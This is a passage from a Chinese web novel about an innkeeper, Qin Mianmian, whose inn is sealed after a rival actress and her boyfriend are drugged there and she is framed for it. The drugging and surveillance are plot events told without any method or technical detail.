但是钱老先生一看他这张秀气的脸就来气。 “孩子都是被你惯坏的!” 虞俞在钱家没有丝毫话语权,只能闷声挨打,不说话。 倒是钱晓风见状,吓得急忙扑过来挡。 “爸爸,不关阿俞的事,他一直都要求严格教育孩子的,要说溺爱也是我溺爱,你打我吧!” 钱老先生却舍不得下手了。 拐杖举起来两次,都没真的敲下来。 虞宗辰的两个舅舅跟着扑上来: “大伯,您千万别动气,小心身体!不是妹妹溺爱孩子,是我们这两个做舅舅的没教好,您要打就打我们吧!” 这下子,钱老先生彻底没了脾气。 而跪在地下的虞宗辰却微微勾起嘴角。 在众人的一致劝说之下,钱老先生终于慢慢平复了情绪。 开始质问这到底是怎么回事。 虞宗辰一五一十说了,钱老先生立刻让人去把别墅的安保人员都开除掉。 至于贾芊芊, “那是个什么人!你简直是昏了头了,贾家的新闻难道你没看见吗!咱们这样的清贵人家,怎么可以跟那种人家同流合污,而且你们还,你们还……” 一想到刚才闯进去时屋内的情形,钱老先生简直又要背过气去了。 但虞宗辰却低着头不说话,没有认错,更没提要跟贾芊芊断绝关系。 钱老先生哪还不明白,又是一顿痛斥,他拿出贾家那些肮脏事,将贾芊芊贬低得一无是处。 “还没结婚,甚至还没见过双方家长,她竟然就敢溜进来,和你……这能是什么好女孩!她,简直比那什么还不如!” 虞宗辰却一下子炸了,梗着脖子: “芊芊她是个好女孩!她就是太爱我了!外公你不可以这么说她!” 在场人纷纷倒吸一口凉气。 从小到大虞宗辰都是个乖孩子,外公眼里的乖宝宝,就算长大实在喜欢演戏,追随父亲脚步进了娱乐圈,也一直是毫无绯闻,非常上进的。 可是今天,他竟然敢这么忤逆他的外公! “你……” 一句话,给老头儿气得倒仰,差点又背过气去。 吓得众人连忙上前连哄带劝。 钱老先生直接朝虞宗辰扔出个手机。 “网上的新闻我想你也看到了,你难道就没什么想法!” 虞宗辰不说话。 秦绵绵的黑料来得快,去得更快,他没有想法那是假的。 但事关贾芊芊,他也就关心则乱了,更是有些刻意去避免看关于秦绵绵的一切,生怕会伤害到贾芊芊。 钱老先生恨铁不成钢: “你是演艺圈里的人,我想你应该知道,这些热搜新闻,一夜之间能完全消失,意味着什么!” 他的拐杖敲得啪啪响。 “你也二十好几了,做事情能不能动动脑子!这位秦小姐,真是你和那个姓贾的能动的?她这是多大的能量?她背后的人是多大的能量!” “都是年轻人,你看看你,你看看刚才你那个……你再看看人家秦小姐!看看人家的实力!!” 第138章 去给秦小姐道歉 周围站着的几位都屏住了呼吸。 作为钱家的掌舵人,钱老先生一向说一不二。 他为人性格谨慎,正直古板,认定的事情一般情况下是九头牛都拉不回来的。 他看人也很准。 这么多年来,后辈也都习惯了他马首是瞻,他看不上的人最后都会被证明确实是不行,而他看得上的人,那肯定是真的很好的。 年轻人之中,能得钱老先生青睐的确实不多,而这个秦绵绵小姐就是其中一个。 关于秦绵绵的新闻,他们也都听得太多了,即便作为世家大族,也不得不承认秦绵绵的身世和经历,确实过于传奇。 也是很有能力和背景的一个女孩子。 而相比较来说,自家的这个不成器的孩子还真的没什么闪光点,至于那个贾芊芊—— 众人都默契的根本不想谈论她。 但没想到的是,虞宗辰对贾芊芊的爱意,很显然比他们想象的还要深。 他听了这话,竟然连跪都不跪了,直接蹦了起来,梗着脖子道: “外公,我尊敬你,但是我再说一遍,不许你这么说芊芊!芊芊是我的爱人,是我此生挚爱!她家里的事情跟她有什么关系?她根本不知道那些肮脏事也从来没有参与过。至于她和秦小姐,各花入各眼,秦小姐再好,那也不是我的芊芊。我的心里,只有芊芊!” “你!”钱老先生脸色一白,直接向后倒去。 “爸爸!” 钱晓风慌忙冲上去,一把扶住。 两个舅舅也慌了,一边叫家庭医生,一边连忙挥手让虞宗辰先下去。 虞宗辰见状立马就跑了,他没去别的地方,径直去客房找贾芊芊了。 进门先安抚贾芊芊,问她有没有受惊,又让厨房给她安排吃的喝的,还让管家连夜去买衣服来。 把整个别墅的佣人折腾得不亦乐乎。 而楼上,钱老先生却在急救。 又一次从昏迷中醒来后,钱老先生沉默了好久。 钱晓风很慌张:“爸爸,你说句话啊,爸爸。” 说着,落下满脸眼泪来。 钱老先生看向她,终于是叹了口气。 这个女儿自小就娇气任性,遇事也不知道应对,只会哭。 “我年纪大了,你总是这么爱哭鼻子,可怎么办呢?” 钱晓风把头埋进钱老先生臂弯里:“我是爸爸最宠爱的小公主,我就是爱哭鼻子,要爸爸擦眼泪!” 钱老先生叹着气,伸手替她拭去泪水。 却又不说话了。 钱晓风只觉得心里越来越慌张。 “爸爸,您在想什么?” 半晌,钱老先生终于艰难开口道: “阿辰是一个男孩子,他不应该是这种软弱的性子,这件事上我不能由着你溺爱孩子。你去告诉他,要么跟那个姓贾的分手,要么……从钱家滚出去。” 钱晓风一下子就炸了。 直接吼起来: “爸爸,不过是男女之间那点事,怎么就要把阿辰从家里赶出去了!爸爸你怎么这么狠心!就算我当年胡闹的时候,您都没有这样过,爸爸你是不是不爱我,否则怎么能不爱我的孩子!” “爸爸我对你太失望了,阿辰是我唯一的孩子,他是我的命根子!你要是想把他赶出去,不如先把我赶出去……算了,我还是不要活了,我活着还有什么意思!” 说着就要往窗子那边跑。 钱老先生做了一辈子女儿奴,哪里受得了这个,饶是自己已经七老八十,而钱晓风也已经四十多岁了,他还是把这个女儿放在心尖尖上。 老爷子急忙从床上蹦起来,朝自己任性哭闹的女儿扑过去。 两个人滚落在地上。 钱晓风哭得撕心裂肺的,钱老先生摔得不轻,还要安慰自己这个宝贝女儿。 “算了算了!我真的是拿你没办法!都怪我,太爱你,你又溺爱阿辰!我真是一点办法都没有。” 钱晓风抹掉眼泪,就开始跟他撒娇。 半晌,钱老先生长长叹口气: “反正贾家也失势了,他愿意跟她在一起,就让她改名换姓,不要出现在人前就行了。但是,秦小姐那里,还是必须要搞好关系的……你去告诉他们,让他们准备准备,跟我一起到客栈去跟秦小姐道歉,争取秦小姐的原谅。” 钱晓风还想说什么,钱老先生冷了脸: “秦小姐那里的古董,你也见识过了,她背后的人是多大的能量,你心里没有数吗?还有这回舆论的事,据我所知,她根本就没出客栈,几乎是动动手指就让新闻全都消失了,这又是多大的能量?” 钱晓风不敢说话了。 爸爸说的没错,秦小姐或许不足为惧,但是她背后的那个人,可能是跺跺脚就要让海城抖三抖的人物,那样的人,不是他们钱家这种书香门第可以抗衡的。 秦绵绵那边,还是要搞好关系的。 “爸爸放心,我一定跟他们好好说。” 虞宗辰是个好孩子,听到家里答应他跟贾芊芊在一起,立马就肯答应一切条件。 但让钱晓风意外的是,贾芊芊只犹豫了一下,便也笑着答应了下来。 不得不说,这女孩子到底也是有钱人家出来的,礼数上一点不少,虽然刚才闹得很难看,但是穿好衣服之后,她的举手投足倒是很有那么个大家闺秀的样子,嘴巴也很甜,关键是长得实在好看,没多一会儿,就把钱晓风哄得开开心心的了。 钱晓风走后,虞宗辰抱着贾芊芊亲:“宝贝,你对我真好,为了我,竟然愿意跟秦小姐握手言和。” 贾芊芊只是笑,半晌,才接了一句:“是呀,为了你,我什么都肯做的……” …… 当晚。 秦绵绵等人忙完了一天的活,讨论晚上吃什么,突然接到了钱老先生的电话。 钱老先生笑着说,之前听说她在拜托陈启明寻找那个失落朝代的野史,他这边也在帮忙找,正好找到了一点,今晚给她送过去。 秦绵绵眸子一暗,也笑道: “大晚上的,就不劳烦您老跑一趟了,明天我找人去取就行。” 钱老先生却说什么也要来送,最后终于说不过,直接告诉秦绵绵他已经快要到了。 秦绵绵微微冷笑,转头跟大伙儿说: “今天晚上,只怕是吃不到好的了。” 第139章 贾小姐的排场 众人草草吃了饭,正准备严阵以待,钱老先生一行人的车子就已经到门口了。 看到熟悉的保姆车,秦绵绵眸光一暗。 罗小胖啐了一口:“钱老先生也太不地道了,这种事都能当和事佬!” 姚祁在背后低声冷笑:“和不和,也不是他们说了就算的。” 正如他们所料,钱老先生果然就是来当和事佬的。 老爷子从车上下来,跟秦绵绵打了个招呼,转头就招呼虞宗辰和贾芊芊进门。 钱老先生是秦绵绵的好朋友,曾经也帮了她不少忙,大家对于他的态度还算是客气的。 但对贾芊芊就没有必要客气了。 朱七妹直接就抄起扫把,朝贾芊芊脚底下扫去。 贾芊芊猝不及防,急忙闪躲,却还是让朱七妹逼着给大家跳了一段踢踏舞。 但最后,她还是被朱七妹的扫把扫到了,整个人狼狈不堪。 秦绵绵笑着瞟过去,看见贾芊芊脸上的怒意简直快要压不住了。 但虞宗辰悄悄捏了捏她的手,她又努力把怒气压了回去,露出一张笑脸来。 秦绵绵冷笑:“当初把这演技发挥到影视作品上,如今贾家倒台的时候,她也不会这么惨。” 姚祁:“她还敢在网上开直播骂你,她惨什么?” 秦绵绵:“你不懂,贾大小姐肯纡尊降贵到这儿来跟我见面,这已经是很惨了好吧。” 见客栈众人敌意明显,秦绵绵又在那跟几个员工嘀嘀咕咕,完全没有迎接的意思,钱老先生很是尴尬了一会儿。 但他还是拉下脸来,把两个年轻人推到前面,说出了自己的来意。 “小秦丫头,之前阿辰跟芊芊跟你可能有些误会,我已经骂过他们了,他们也知道自己的错误了,专程想来跟你道歉。你看,就看在我老头子的面子上,咱们从前的事情都揭过去,可不可以……” 秦绵绵没说话,但表情已经替她表明了态度——不可以。 钱老先生尴尬了一下,把虞宗辰和贾芊芊又往前推了推,示意他们说话。 虞宗辰这人,看着是个魅力四射的大影帝,实则毫无主见,钱老先生这么一推,他立马就把准备好的道歉的话一下子秃噜了一个干净。 要不是秦绵绵跟大家描述过他在房小雪面前到底是怎么爹味发言的,大家都会觉得这是不是不同的两个人。 但转念一想,又觉得挺契合的。 只有这么没谱的人,才能做出那么没谱的事,没错。 至于贾芊芊,她那副大小姐的劲儿又上来了,微笑的表情里多少夹杂了一些不情不愿。 果然想象来道歉和真的面对秦绵绵道歉,是两种不一样的感觉。 因为真的面对秦绵绵了,才能感受到她身上的那股迫人的气势,喜欢她的人会不自觉的爱上她这股劲儿,讨厌她的人,就会因为她这种冷漠疏离又高高在上的感觉气得七窍生烟。 贾芊芊现在就已经隐隐有了要生烟的感觉了,但想到来此的目的,还是强制把不悦压了下去,说完了早就准备好的台词。 然而……这两个人都这么努力了,秦绵绵却还是丝毫没有反应。 大堂之中,突然一阵诡异的寂静。 钱老先生尴尬的脸都红了些,他正要开口说些什么,却发现秦绵绵的目光,不知道什么时候透过客栈大门,落在外面的两辆车上。 钱老先生清清嗓子,从身后提来一个小箱子,打开一看,竟是一些古籍文献。 “这是陈启明托我找的东西,不负所托,我给找来了。我想着不用经过陈启明的手了,直接来给你就是。” 秦绵绵终于收回目光,看向了这些古籍。 她的眼神终于亮了亮。 且不说这些是她一直想找的有关裴应见那个朝代的资料,这些东西里面,有可能会有跟裴应见有关的东西, 单说这些古籍本身的价值,就已经难以估量了。 这些书有的是孤本,有的甚至早已失传,这会儿,钱老先生却把它们作为讲和的礼物,送到了她的手上。 不可不谓诚意满满。 秦绵绵看着这些古籍,终于笑了。 “老先生费心了,这些东西,我确实很需要。” 说着,就让姚祁把箱子收起来。 钱老先生见她收了东西,整个人顿时松了口气。 秦绵绵是个刚直不弯的性子,既然她肯收这些东西,那就是代表她愿意让步,今晚就算是没白来了。 但收起东西的姚祁,目光却也跟着秦绵绵刚才的方向,落在了外面的车上。 确切的说,是落在贾芊芊的保姆车上。 此刻保姆车的窗子是开着的,露出里面的情形。 诺大的一个保姆车里,现在正坐着四个女孩子,正是贾芊芊的四个小助理。 贾小姐排场大,当红小花么,连助理也要四个,哪怕现如今贾家倒台了,这排场还是不能丢的,深夜出行,四个小助理也必须整整齐齐地跟着。 而姚祁的目光,就落在其中一个戴着帽子,还带着口罩的一个女孩子身上。 这女孩子微微侧着身子,只能看到一只眼睛,她似乎在刻意避开这边的目光。 姚祁盯着这女孩子看了一会儿,又把目光重新落回秦绵绵身上。 虽然秦绵绵已经开始在和钱老先生谈笑风生,再也没往外面看,但姚祁有一种直觉——刚才秦绵绵在看的,也正是那个女孩子,而且,她突然松口接受了钱老先生的礼物,说不定都跟这个女孩子有关。 说着话,这边虞宗辰的肚子突然不合时宜地响起,大影帝脸色一窘,钱老先生打了个哈哈: “出来匆忙,还没吃饭,小秦丫头这边有没有什么现成的东西,老头子我也有点饿了,咱们边吃边聊怎么样?” 秦绵绵自然不能说什么,她这里本来就提供饭食,这会儿还没打烊,就算是普通食客进来了,她也得给人家弄吃的。 只是大伙儿确实是很不想让他们在这吃饭就是了。 在秦绵绵的示意下,罗小胖进厨房简单炒了几个菜端了上来。 谁料这时,贾芊芊的保姆车突然开了门,四个小助理快速从上面下来,竟然在众目睽睽之下,开始伺候起贾芊芊来。 第140章 贾小姐不舒服 一起下车来的还有虞宗辰的经纪人顾姐。 罗小胖瞪大眼睛又龇牙咧嘴:“哎呀,真理解不了,原来这些大明星们跟古代的少爷小姐一样,吃饭都还要别人伺候呢!” 钱老先生被他说的脸色一红,立马瞪了虞宗辰一眼,虞宗辰便赶紧给顾姐使眼色。 顾姐却也乖觉,只笑道: “车里准备了饮料,是来之前给大伙儿准备的,差点忘了。” 说完,转头从保姆车上搬下来一个箱子。 罗小胖第一个跳出来:“我们可是只喝蜜雪冰城哈!” 一句话又给贾芊芊那几个人差点弄破防。 好不容易饮料分完,人手一杯了,一直没说话的贾芊芊却忽然站起来: “有点不舒服,车里拿点药,抱歉。” 虞宗辰吓得连忙问她怎么了,却被她嗔怪一瞪,给瞪了回去。 大家心知肚明,多半可能是女孩子那点事,也都默契地谁也没关注。 于是贾芊芊叫上一个小助理又回保姆车了,但秦绵绵注意到,她叫的恰好是那个她刚才特意看过的那个助理。 秦绵绵目光一转,又落在桌上贾芊芊的饮料杯上。 宣称不舒服的她,饮料杯却开了口。 秦绵绵意味深长地又朝外面的保姆车看去。 贾芊芊和小助理上了车,就关闭了车门和车窗,此刻从外面什么都看不见。 但这边,顾姐却忽然有点坐不住了:“贾小姐不知道怎么样了,我去看看,年轻女孩子毛手毛脚,或许照顾不周。” 说完也跟着上了保姆车。 秦绵绵眼中闪过一丝晦暗,转过头来,继续陪钱老先生吃饭。 饭桌上,钱老先生谈起近日又被李教授刺激了。 原来上次秦绵绵被困局子的时候,李教授正好过来,看上了她的一些宝贝,高价买了回去。 本来想藏私自己把玩的李教授,最后到底是没有忍住分享欲,没过三天就得意洋洋地向钱老先生炫耀起来。 弄得钱老先生心痒难耐,怎奈自己这外孙子又和贾芊芊一起卷入秦绵绵的热搜误会之中,他也不好意思开口来询问。 这会儿秦绵绵松了口,他就再也忍不住了,饭也不想吃了,着急的就想看看秦绵绵还有什么特别的宝贝。 秦绵绵于是领他上了二楼自己房间,打开了裴应见带来的三个大箱子。 只打开第一个,钱老先生就已经激动地走不动道儿了,三个箱子一起打开,他干脆直接拉过椅子往前面一坐。 “那什么,小秦丫头,你给我们开几个房间好不好,今天晚上干脆就别走了,这么多啊,我得看很久……” 秦绵绵失笑:“我们这边客房只剩两间了。” “对面吉祥客栈也行啊!” 秦绵绵彻底没了脾气。 不过话又说回来,谁又会跟钱过不去呢,钱老先生比李教授还要不缺钱,鉴于今天他们还是来道歉的,他出价肯定会更加爽快,这可比让陈启明拿到拍卖会上去划算多了。 于是秦绵绵答应了他的要求,转头下楼去开客房,让他不要着急,慢慢看。 虞宗辰虽然饿了,但他没怎么吃,因为要等贾芊芊,但贾芊芊却好半天也没出来。钱老先生一个人在楼上,他到底不放心,想了想,嘱咐别人给贾芊芊留点吃的,就上楼去陪伴自己外公了。 客栈众人便收拾的收拾,打扫的打扫,各自去做自己的事情。 但奇怪的是,到了这个时候,贾芊芊竟然还没出来。 又过了一些时候,贾芊芊三人才终于慢悠悠地从保姆车上下来。 贾芊芊的脸色很不好看,苍白得很,似乎真的很不舒服。 顾姐道:“秦小姐,能不能借客房用一下,贾小姐想休息一下。” 姚祁收拾东西回来,阴阳怪气:“那保姆车上不能睡吗?” 秦绵绵摆摆手不让他多说,告知钱老先生已经开好了房间,顾姐忙道谢,带着贾芊芊去了。 小助理也跟在旁边,她低着头,扶着贾芊芊,把她和顾姐送到门口,转过头又跟其他小助理回保姆车上去了。 但经过秦绵绵身边的时候,秦绵绵却觉得这个身影越发的熟悉。 而这个时候,顾姐安顿好贾芊芊,又跑了出来,她不好意思道:“我去替虞老师照顾钱老先生,贾小姐需要虞老师照顾。” 秦绵绵没说什么,虽然那是她的私人房间,但她却并不怕他们会在她房间里做什么。 他们也做不了什么。 虞宗辰被换下来,急匆匆地朝后院贾芊芊的房间里去。 然而半晌两个人也没出来,也没有动静。 钱老先生担心不过,暂时放下那些诱人的宝贝,下楼来看看贾芊芊是不是真的很难受。 一行人来到贾芊芊房间门口,敲门,里面却没人应。 敲了好一会儿,顾姐变了脸色:“不会出什么事了吧?” 罗小胖立刻道:“我们客栈很正规的啊,你别瞎说!” 顾姐也不理他,转头向钱老先生求助:“咱们要不破门吧?!” 钱老先生也有点担忧,转头看向秦绵绵。 秦绵绵便拿出万能房卡。 结果门一打开,里面的光景却一下子惊呆了所有人。 只见房间的大床上,贾芊芊和虞宗辰两个人脱得一件不剩,正在忘乎所以地颠鸾倒凤,连众人开了门进屋来都毫无察觉! 这白花花的一片,实在是太……辣眼睛了! 反应过来之后,众人连忙纷纷捂住眼睛。 罗小胖和叶子舟直接把在场的女孩子们全部赶走。 顾姐饶是年纪已经不小,可也受不了这样的惊吓,她脸色惨白,摇摇欲坠,可她却不能走。 她的艺人出了这样的事,她这个做经纪人的一定要维持住局面,要不然后果不堪设想! 这幸亏是在秦绵绵的客栈里,这事如果发生在别的地方,万一要是被外面的人拍到了,这两个人的演艺生涯就彻底完蛋了! 钱老先生也没好到哪去,他从昨天到现在就不停地受刺激,眼下竟突然又看到两个人这出好戏,而且还是在这种地方。 他简直要气得背过气去了。 结果下一秒,钱老先生真的一口气上不来,径直朝后栽倒。 秦绵绵连忙伸手扶住,她边让姚祁处理这边的事,边和罗小胖一起把钱老先生带到大堂,迅速开始扎针。 半晌,钱老先生缓了过来,老爷子一把年纪,直接哭出了声: “这,这……这真是造孽啊!!” 第141章 客栈查封 但是,让大家没想到的是,更造孽的还在后面。 过了大概有十分钟的时间,顾姐脸色难看地跑来,十分艰难地开口: “他们……停,停不下来……” 钱老先生捂住胸口:“你……这是什么意思?!” 顾姐却完全说不下去了。 姚祁也跑了回来,也是一脸的欲言又止、难以启齿。 秦绵绵皱眉:“什么叫停不下来?” 姚祁啧了一声,别过头去,看都不敢看秦绵绵,挠头道: “就是,就是字面意思。” 罗小胖忍不住啐了一口:“哎哟我去!” 秦绵绵和他们对视一眼,皱紧眉头。 没想到,在她的客栈竟然会发生这种事。 “别废话了,报警吧。” 谁知顾姐和钱老先生立刻按住她:“不能报警!!” 顾姐急道:“报警就全完了!” 钱老先生也摇摇欲坠:“我这老脸,要丢光了啊……” 秦绵绵冷着脸:“大伙儿看清楚,他们俩可不是情不自禁那么简单了,这明显不对劲。” 话说的委婉,但其实大家心里都清楚,两个人搞不好被人下药了。 要不是有外力作用,那得多“情不自禁”才能不知天地为何物啊…… “我的客栈里,绝对不能不清不楚地发生这种事情。” 但顾姐却坚持不同意。 一时间,场面好似当初片场泼硫酸事件重演一样。 钱老先生拄着拐杖颤巍巍站起来,握住秦绵绵的胳膊: “小秦丫头,老头子我跟你道歉……实在是对不住你,本来是想来跟你道歉和解的,谁知道又出了这种事,真是给你添麻烦了……” “但你看在老头子我的老脸的份儿上,能不能帮我压下这件事,实在是……我钱家……丢不起这个人啊……” 秦绵绵没说话了。 钱家在海城确实是很有头有脸的家族,这种事爆出去,对贾芊芊和虞宗辰来说,也都是毁灭性的打击。 钱老先生本来精神矍铄的脸上早已面如死灰: “下手的人,无非是想让他们栽个大跟头,教训他们也已经吃了,我们认还不成吗,不管背后是谁,为什么这么对他们下手,我们都认……只求别曝光就行……” 秦绵绵没接口,罗小胖却赶紧跳出来替她说话: “但这是刑事犯罪啊老爷子,不是随便压下来就能没事的,真追究起来,我们也是要担干系的!” 姚祁也帮腔。 客栈这边态度可以说是很明确了。 于是事情一时就这么僵持住了。 顾姐和钱老爷子为了两人的名声,说什么也不愿意报警,还说天色很晚了,这件事除了客栈里的人不会有人知道的,总之各种哀求。 然而,就在他们僵持的时候,后院客房里面的两个人却悄无声息地结束了战斗,竟然穿好衣服过来了。 贾芊芊美丽的脸庞上还带着不正常的红晕,虞宗辰的脸色也很尴尬。 但两人竟然也能坦然面对众人。 不愧是当红小花和大影帝,这心理素质真的比一般人强。 贾芊芊肯定是哭过,虞宗辰看着她也是满脸心疼,不过两个人是清醒的,而且看起来健康也没什么问题。 正当钱老爷子准备舒口气的时候,贾芊芊却忽然咬牙切齿看向秦绵绵: “我报警了!今天,谁也别想走!” 众人震惊不已,顾姐和钱老爷子简直要疯了,贾芊芊却直接把矛头对准了秦绵绵: “我们怎么会无缘无故出事,是谁下的手,警察来了一查就知道!” 秦绵绵冷笑:“你该不会是想说,是我下的手吧?” 贾芊芊眼角泛红,冷哼一声,不说话。 秦绵绵眼眸暗了暗,略一思索,转头让姚祁快去保姆车上把那四个小助理带过来。 姚祁依言去了,四人进门时,秦绵绵却一步冲过去,拉起其中一个人。 “不对,不是你!刚才那个人呢?” 那小助理急忙抽手,却挣不过秦绵绵,她疼得几哇乱叫: “你在说什么,什么刚才的人,刚才一直是我啊!” 秦绵绵:“刚才绝不是你!说,刚才那个人呢!” 其他三个小助理连忙证明刚才就是她,还说整个晚上她一直跟她们在一起的。 秦绵绵却不信,一把扯掉了这小助理的帽子和口罩,出现在面前的却是一张不太熟悉的脸,但从前在片场的时候,确实见过这个人跟在贾芊芊身边。 罗小胖挠头:“这好像就是贾芊芊的助理。” 顾姐也忙道:“对啊,我们都能证明,这小姑娘确实是的。秦小姐,你到底在说什么?” 姚祁也忙道:“怎么回事?” 秦绵绵摇摇头:“刚才绝不是这个人,人被换了。” 她很确定。 虽然眼前这个小助理和刚才那个人的衣着完全一样,但刚才跟顾姐一起把贾芊芊扶进来的,绝对不是她。 而是一个熟人。 是秦绵绵的熟人。 她绝对不会认错的。 众人面面相觑。 谁也不明白,贾芊芊和虞宗辰被下药的事情还没弄清楚,为什么又会突然出了一个大变活人的事。 秦绵绵却让姚祁赶紧去找赵立生,封闭景区大门和各个出入口,谁知姚祁还没踏出客栈大门,外面忽然呼啸来了两辆警车。 警察们冲进客栈。 “有人报警这里出了刑事案件,任何人都不许动!” …… 深夜,客栈的所有人都被带回了派出所接受询问,就连其他房间里面的无辜住客也没能幸免。 但派出所的警察们已经是秦绵绵的老熟人,又有罗小胖的这层关系在,审讯的保密措施做得很好,几个客人被放出来的时候,并不清楚到底发生了什么事,又迅速被警察送走了。 因为到底并不涉及人命,主要还是看物证,客栈里的东西当晚就都被搜查了一遍,很多都被带走鉴定去了。 至于人,除了中药的贾芊芊和虞宗辰之外,其他人问询过后,就都被放了回来。 钱老先生这回是彻底没办法回市里了,他也没有心思回去,身体也受不住,只好还在客栈住下。 只是这一次,也彻底没有看宝贝的心思了,众人也都辗转难眠,姚祁干脆从隔壁超市拿了点零食,让大伙儿吃着,等着天亮。 但谁想到,天才刚刚亮起来,忽然一队警察冲开了客栈的大门。 当先的人竟然是罗小胖的老爹罗正松。 罗正松闯进来,直接道: “秦绵绵,你涉及刑事犯罪,跟我们回去,配合调查!” “如意客栈,查封!” 第142章 救掌柜的 黑暗的审讯室,一束灯光突然亮起,直接打在秦绵绵的脸上。 秦绵绵眯了眯眼睛,别过头去。 栏杆对面,罗正松满脸阴沉: “把你怎么给贾芊芊下药的过程如实说出来!” 秦绵绵闭了闭眼睛:“我没给她下过药。” 罗正松冷哼一声:“到了这里,你狡辩也没有用的,我们有人证和物证。” 秦绵绵面色不变:“那我倒很想听听,什么人证,什么物证。” 罗正松手往桌子上一拍: “人证,就是两个受害人自己!物证,就是从你客栈里拿到的杯子,现在已经证实,只有贾芊芊的那个杯子里有药物,而那只杯子正巧是你拿来的!” 秦绵绵闭着眼,没说话。 那杯子确实是她拿来的,确切的说,当时吃饭的时候,所有人的杯子都是她拿来的。 这并不能证明什么。 但只有贾芊芊的杯子里面有药,这就有点奇怪了。 沉默了片刻,秦绵绵缓缓道:“我第一次听说,受害人自己还能当人证的,况且,他们真的是受害人吗?” 罗正松一愣:“你什么意思?” “他们两个早就勾搭在一起了,前两天的泼糖浆事件网上舆论很大,罗厅怎么不去了解了解?” 秦绵绵这种疏离的态度再次激怒了罗正松。 他这两天正忙着生桩案子的收尾工作,确实没有注意到网上的八卦新闻。 本来马上要弄完准备回省厅了,谁知道突然又出了这样的事。 罗正松看着灯光下秦绵绵一片平静的脸,想到这丫头三番四次油盐不进的样子,更觉头疼。 他一边赶紧让手下警员去整理所谓的泼糖浆事件的始末,一边揉了揉眉心。 他望向秦绵绵,在心里叹了口气。 虽然去客栈拿人和查封的时候,他的态度很冷酷,但那不过只是做给别人看的。 姓秦的小丫头怎么说也是自家儿子的朋友,他不管怎么样也不能胳膊肘往外拐。 只是因为这件事实在牵扯太大,他才不得不做出这种样子而已。 ……这姓秦的小丫头恐怕还不知道,只是短短半个晚上的时间,贾芊芊和虞宗辰被下药这件事,已经闹大了。 现在整个网上都在讨论这件事,上面也专门打电话来询问,景区这边的派出所知道事情压不住了,才慌忙上报市局。 正好他这个省厅下来的领导在,于是毫无悬念地成了处置这件事的负责人。 这也就是为什么会是他带队去客栈抓人的原因。 而整件事原本是可以压在派出所的,之所以会闹大,竟是因为贾芊芊和虞宗辰从派出所出来之后,把视频发到了网上。 是的,贾芊芊虽然中了药,但她却趁着自己神智还清醒的时候拍下了视频。 视频里清清楚楚地说明,她是喝了饮料才出事的,而其他人都没事,饮料也是密封的,所以她怀疑是杯子有问题。 视频的后半截,她就已经失去理智了,再往后,她就开始和虞宗辰翻云覆雨,场面一度不堪入目。 而值得说道的是,贾芊芊是喝了加料的饮料神志不清,但虞宗辰却是清楚的。 一开始贾芊芊求他,他是拒绝的,但是后来么……后来简直可以用情不自禁来形容…… 贾芊芊出手确实狠辣,她连自己和虞宗辰的名声也不顾,直接把整段完整的视频全都发到了网上。 这么劲爆的视频,自然是一下子就引爆了网络。 这么大的舆情,海城市局简直如临大敌,连夜检测从客栈拿到的物证,结果恰好和贾芊芊的话对应上。 于是秦绵绵就顺理成章地成为了第一嫌疑人,被带回了市局。 很快,手下整理好了前段时间泼糖浆的事,罗正松看完,揉揉眉心。 “这也并不能证明他们就有关系,退一万步说,就算他们是男女朋友的关系,也并不能说明他们没被害,何况贾芊芊也被带去了医院,她体内确实检测出了药物成分。” 秦绵绵靠在椅子上:“我没说她没中药,我只是说有没有一种可能,这件事,从头到尾,都是她自导自演的。” 罗正松拧着眉头:“她自己给自己下药,然后再把视频发网上?她难道不想在娱乐圈混了?!” “这也说不定,她那样的人,本来就是什么都做得出来的。” 罗正松想到贾家现在的情况,不说话了。 秦绵绵这话确实是有可能的,但问题是,并没有证据。 罗正松想了想,挥挥手让手下先出去。 等人都走了,他起身关了监控,然后把照着秦绵绵的灯也关了。 秦绵绵适应了一会儿,才睁开眼睛。 罗正松盯着她看了半晌: “现在你说吧。有什么能说的,全都告诉我。” 秦绵绵裂开嘴笑了:“谢谢罗叔!” “少贫嘴!快说!说不出个一二三四来,叫罗大爷也保不了你!” …… 又是一波严格的审讯之后,因为证词可以互相印证,客栈大堂的监控也可以证明,罗小胖和姚祁等人没有嫌疑,最终被放了出来。 但他们却回不了客栈了,因为客栈被查封了。 众人望着大门上的封条,很是义愤填膺,但也没有办法,只好聚在对面吉祥客栈的大堂里想对策。 但很快大家发现一个问题—— “幺鸡呢?” 姚祁竟不知道什么时候,不见了。 互相问了一圈,竟没有一个人察觉到他是什么时候走的,又是去了哪里。 姜芙担忧地道:“坏了,该不会是让贾芊芊给掳去了吧,那女人看姚祁的眼神一直都不对劲!” 罗小胖摇摇头:“她和虞宗辰还在医院呢,警察看着呢。” 叶子舟推推眼镜:“幺鸡给我发信息了,他说他去找救掌柜的办法,叫我们不要担心。” 姜芙抄起车钥匙:“他一个废物能有什么办法,我还是回姜家试试!” 叶子舟也开始联系自己的学霸同学们,想看看能不能找到什么关系。 朱七妹,房小雪,赵立生,大家都在用自己的方式想试试能不能帮上忙。 就在众人忙活的时候,被封掉的客栈里,却有一个人忽然出现。 望着空荡荡,好像被洗劫过一样的客栈大堂,男人神色一凛,一个纵身,直奔二楼而去。 第143章 姚先生 裴应见飞速奔上二楼,推开秦绵绵的房门一看,里面已是空无一人。 房间里凌乱不堪,仿佛刚刚遭遇了贼人,但四下却并没有打斗的痕迹,似乎是在秦绵绵不知情的情况下,房间被糟蹋成了这样。 什么样的小毛贼,能在她的眼皮子底下如此糟蹋她的闺房? 她人呢? 裴应见的心一沉。 他四下找了找,并没有发现秦绵绵留下的字条或留言等东西。 他转头又下了大堂,四下看了看,随后奔向后院。 本来时时客满的后院此刻也都空着,一个住客都没有。 人到底都哪里去了? 裴应见搜寻了一圈,心越发沉得厉害。再次回到大堂的时候,他才注意到大门外面的封条。 封条形成一个十字,在初升的日光的照射下,给大堂的地面投下一个黑黢黢的影子。 裴应见终于顿住了脚步,想了想,立刻转头绕到柜台里面,打开电脑,查看监控。 …… 而另一边,海城最高建筑星漫酒店的顶层客房里。 姚祁洗了个澡,围着浴巾走出来,湿漉漉的头发还在往下滴着水,水珠滴落到他裸露着的小麦色胸膛上,他恍若未觉。 他给自己倒了一杯酒,啜了一口,拐进这套商务套房里单独隔出来的一个小房间里。 这小房间里竟挤满了人,四下更是有数不清的仪器设备。 姚祁走到角落里的老板椅处坐下,看着面前的众多手下忙活。 片刻后,一个男人拿着一个U盘快步走过来: “姚先生,这是今天窃听到的虞宗辰的动向。” 姚祁没接,只看着他。那人神色一凛,急忙汇报道: “他今天一整天都待在医院,和贾芊芊没有多说话,没有有价值的信息。” 姚祁点点头。 